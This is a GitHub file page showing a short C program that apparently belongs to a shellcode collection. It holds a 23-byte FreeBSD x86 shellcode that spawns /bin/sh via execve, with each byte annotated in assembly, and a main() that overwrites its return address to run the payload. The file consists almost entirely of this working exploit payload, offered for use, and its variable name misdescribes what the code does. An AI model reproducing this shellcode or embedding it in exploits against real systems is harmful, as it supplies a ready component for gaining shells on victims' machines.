-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathshellcode-170.c
More file actions
executable file
·42 lines (26 loc) · 823 Bytes
/
Copy pathshellcode-170.c
File metadata and controls
executable file
·42 lines (26 loc) · 823 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
*
* FreeBSD_x86-execve_sh-23b-iZ.c (Shellcode, execve /bin/sh, 23 bytes)
*
* by IZ <guerrilla.sytes.net>
*
*/
char setreuidcode[] =
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (//sh) */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x54" /* push %esp */
"\x53" /* push %ebx */
"\x50" /* push %eax */
"\xb0\x3b" /* mov $0x3b,%al */
"\xcd\x80"; /* int $0x80 */
void main()
{
int* ret;
ret = (int*) &ret + 2;
printf("len %d\n",strlen(setreuidcode));
(*ret) = (int) setreuidcode;
}